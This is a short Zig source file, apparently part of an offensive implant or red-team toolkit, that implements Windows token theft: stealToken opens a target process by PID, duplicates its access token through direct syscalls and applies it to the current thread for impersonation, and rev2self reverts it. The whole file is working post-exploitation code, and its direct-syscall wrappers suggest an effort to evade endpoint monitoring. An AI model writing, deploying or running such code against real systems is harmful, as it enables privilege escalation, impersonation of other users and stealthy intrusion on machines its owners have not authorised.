const std = @import("std");
const windows = std.os.windows;
const nt = @import("nt.zig");
const syscall = @import("syscall.zig");

const ThreadImpersonationToken: u32 = 5;

pub fn stealToken(pid: u32) bool {
    var cid = std.mem.zeroes(nt.CLIENT_ID);
    cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
    var oa = std.mem.zeroes(nt.OBJECT_ATTRIBUTES);
    oa.Length = @sizeOf(nt.OBJECT_ATTRIBUTES);

    var proc_handle: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_open_process(&proc_handle, nt.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid)))
        return false;
    defer _ = syscall.nt_close(proc_handle);

    var token_handle: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_open_process_token(
        proc_handle, nt.TOKEN_DUPLICATE | nt.TOKEN_QUERY | nt.TOKEN_IMPERSONATE, &token_handle,
    ))) return false;
    defer _ = syscall.nt_close(token_handle);

    var dup_token: windows.HANDLE = undefined;
    if (!nt.NT_SUCCESS(syscall.nt_duplicate_token(
        token_handle, nt.MAXIMUM_ALLOWED, null, nt.FALSE_BOOL(), @intFromEnum(nt.TOKEN_TYPE.TokenImpersonation), &dup_token,
    ))) return false;
    defer _ = syscall.nt_close(dup_token);

    return nt.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        @ptrCast(&dup_token),
        @sizeOf(windows.HANDLE),
    ));
}

// Revert to process token by setting ThreadImpersonationToken to NULL.
pub fn rev2self() bool {
    return nt.NT_SUCCESS(syscall.nt_set_information_thread(
        syscall.nt_current_thread(),
        ThreadImpersonationToken,
        null,
        0,
    ));
}
